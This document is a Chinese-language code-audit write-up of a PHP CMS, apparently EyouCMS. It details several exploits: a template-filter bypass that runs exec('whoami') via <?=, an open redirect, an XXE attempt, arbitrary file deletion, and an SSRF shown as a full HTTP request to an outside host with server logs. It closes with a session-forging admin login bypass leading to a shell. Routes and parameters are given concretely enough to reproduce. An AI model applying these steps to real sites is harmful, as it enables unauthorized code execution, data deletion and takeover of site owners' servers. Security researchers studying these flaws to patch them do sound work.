环境搭建:
代码审计:
通过路由找到对应代码
这里需要传入三个参数,而最后的content则是我们需要填写的内容,在代码93行处存在过滤
发现对content的内容进行了限制。
if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content)) || preg_match('#\{eyou\:php([^\}]*)\}#i', $content) || preg_match('#\{php([^\}]*)\}#i', $content)) {
return "模板里不允许有php语法,为了安全考虑,请通过FTP工具进行编辑上传。";
主要的目的是不让传带php标签的内容,大体规则如下。
1、内容中不能有 <?php
2、内容中不能同时有 <? 和 ?>
3、内容中不能有 {eyou:phpxxx
4、内容中不能有 {php xxx
这里我们可以通过 <?= 的形式进行绕过
在代码底部插入<?=exec('whoami');
在 user->Users.php->logout() 函数中存在一个可以传入的 referurl 参数,该参数通过input()函数的过滤后,传入到了 redirect() 函数中,我们跟进该函数:
通过这里的注释也可以发现这里是用于URL重定向的
在找到user目录下所有的功能点都在前台登录后,登录普通用户再进行退出。将重定向的地址设为baidu
搜索 simplexml_ load_ String() 函数,
在 application\home\controller\Index.php 中的 wechat_return() 函数中发现该危险函数,看该处传参是否经过该函数且该传参是否可以被我们控制或者绕过可以看到这里的106行代码会对 $InputXml 参数进行解析,那么我们向上去看
这里的 $InputXml 参数是通过 php://input 传入,而在代码的96行、98行存在限制条件,我们这里不能使代码走到99行或者102行,否则将我们执行下面的代码,也就无法造成xxe。那么我们需要这里的94行不为空且这里的 $pay_info['appid'] 字段不为空且 $pay_info['appid'] 的值在payload中就可以。
我们在搜索该appid时,发现了该处功能点是用于设置微信支付的。
找到了该功能点。
这里抓包验证也确实是该参数,只要这里的appid不为空,代码就会继续向下执行,进而执行simplexml_ load_ String() 函数,而且在上面的代码中php://input传入的内容也没有进行任何的过滤,所以我们可以构造xxe payload进行攻击尝试。
通过post方式传入构造好的xml payload就可以进行xxe注入。
去构造路由m=home,c=Index,a=wechat_return,然后通过post传入xml payload即可.
设置了 $pay_info['appid'] 的值为1,在下面我们将1带入,但是我这里dnslog并没有回显,
在搜索 unlink() 函数的时候发现一处删除漏洞,我们去看看该处的代码是如何去写的。可以看到在 del_local() 这个函数中使用了 unlink() 函数进行文件删除,但是代码的前三行是存在一定的过滤的,如果一直看我文章的小伙伴应该知道,这里的代码写的实在漏洞太多了,我们可以轻松绕过去删除文件。但这里却不能删除.php文件,具体大家可以看代码656行,在代码653行存在一定的判断条件,如何删除的文件中没有phar协议且必须要uploads路径,可以绕过。
通过上面的的路由分析我们去构造该路由
m=user,c=Uploadify,a=del_local,然后传入我们的参数filenames .
我们创建一个1.txt的测试文件
saveRemote函数通过使用get_headers()函数易受SSRF攻击,
经过身份验证的用户可以通过Uploadify控制器进行攻击在/application/user/controller/Uploadify.php
在第 233 行,catchimage 案例发布用户可以控制的“源”参数,然后使用 $fieldName 参数 => saveRemote($config,[源参数的值]) 调用 saveRemote() 函数然后 saveRemote 私有函数会调用 get_headers() 函数来获取 http 主机的 header,get_headers() 函数获取服务器在响应 HTTP 请求时发送的所有标头
<font face="Calibri">###Request<br>
POST /index.php?m=user&c=Uploadify&a=index&action=catchimage HTTP/1.1</font><br>
<font face="Calibri">Host: 172.16.0.12:3333</font><br>
<font face="Calibri">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0</font><br>
<font face="Calibri">Accept: application/json, text/javascript, */*; q=0.01</font><br>
<font face="Calibri">Accept-Language: en-US,en;q=0.5</font><br>
<font face="Calibri">Accept-Encoding: gzip, deflate</font><br>
<font face="Calibri">X-Requested-With: XMLHttpRequest</font><br>
<font face="Calibri">Content-Type: multipart/form-data; boundary=---------------------------182578234523129615573520929892</font><br>
<font face="Calibri">Content-Length: 276</font><br>
<font face="Calibri">Origin: http://172.16.0.12:3333</font><br>
<font face="Calibri">Connection: close</font><br>
<font face="Calibri">Referer: http://172.16.0.12:3333/index.php?m=user&c=Users&a=info</font><br>
<font face="Calibri">Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReq-UHNt-aC0jHNPiQLUOf7FXckqCAumudg; OpenEMR=UwreHaTw9iqwJWXqAY3%2CWYkZgvA3wdVmymdC5QqiVC1H2scM; loader=loaded; admin_lang=cn; home_lang=cn; workspaceParam=welcome%7CIndex; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; PHPSESSID=ptad0avmrpqg14oj4jh01a3hpm; users_id=2</font><br>
<br>
<font face="Calibri">-----------------------------182578234523129615573520929892</font><br>
<font face="Calibri">Content-Disposition: form-data; name="source[]"</font><br>
<font face="Calibri">Content-Type: image/png</font><br>
<br>
<font face="Calibri">http://hptcybersec.com/ssrf_PoC.jpg</font><br>
<font face="Calibri">-----------------------------182578234523129615573520929892--</font><br>
<br>
<br>
<font face="Calibri">### Response:</font><br>
<font face="Calibri">HTTP/1.1 200 OK</font><br>
<font face="Calibri">Date: Fri, 20 Aug 2021 17:25:37 GMT</font><br>
<font face="Calibri">Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29</font><br>
<font face="Calibri">X-Powered-By: PHP/7.3.29</font><br>
<font face="Calibri">Expires: Thu, 19 Nov 1981 08:52:00 GMT</font><br>
<font face="Calibri">Cache-Control: private</font><br>
<font face="Calibri">Pragma: no-cache</font><br>
<font face="Calibri">Set-Cookie: users_id=1; path=/</font><br>
<font face="Calibri">Content-Length: 576</font><br>
<font face="Calibri">Connection: close</font><br>
<font face="Calibri">Content-Type: text/html; charset=utf-8</font><br>
<br>
<font face="Calibri">{"state":"SUCCESS","list":[{"state":"SUCCESS","url":"/uploads/user/1/ueditor/20210821/611fe591da266.png","size":24041,"title":"611fe591da266.png","original":"123.jpg","source":"http://hptcybersec.com/123.jpg"}]}</font><br>
<br>
<font face="Calibri">### Accesslog on hptcybersec.com</font><br>
<font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Accepted</font><br>
<font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 [404]: (null) /ssrf_PoC.jpg - No such file or directory</font><br>
<font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Closing```</font><br>
<br>
<br>
<br>
<font face="Calibri">Impact: allow remote attackers to information detection,internal network server attack.</font><br>
<font face="宋体">影响:允许远程攻击者进行信息检测、内网服务器攻击。</font>
前台设置一个管理员的session
后台远程插件下载文件包含getshell。
在application/api/controller/Ajax.php:219
get_token函数是可以前台随意调用的,另外形参中的$name变量也是通过http传递进来的。跟进token函数,如下图所示。
箭头处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。
在application/admin/controller/Base.php:61
这里涉及到了两个session,一个admin_login_expire,一个admin_id。
admin_id(该session有就即可,不会验证其值)
admin_login_expire(该session会做减法的校验,需要满足一定条件)
而我们设置的session中是md5字符串,因此在设置admin_login_expire时,需要挑选一个前面是很长一段数字的md5,这样计算出来的结果就是负数,就满足该if条件了。
设置完这两个session后,我们继续看到if条件判断里还有一个check_priv函数,跟进查看:
这里就很简单了,继续设置一个admin_info.role_id。满足比较小于0即可。
设置完三个session后,就可以进后台了,如图所示:
REF:https://wx.zsxq.com/dweb2/index/topic_detail/814251825442152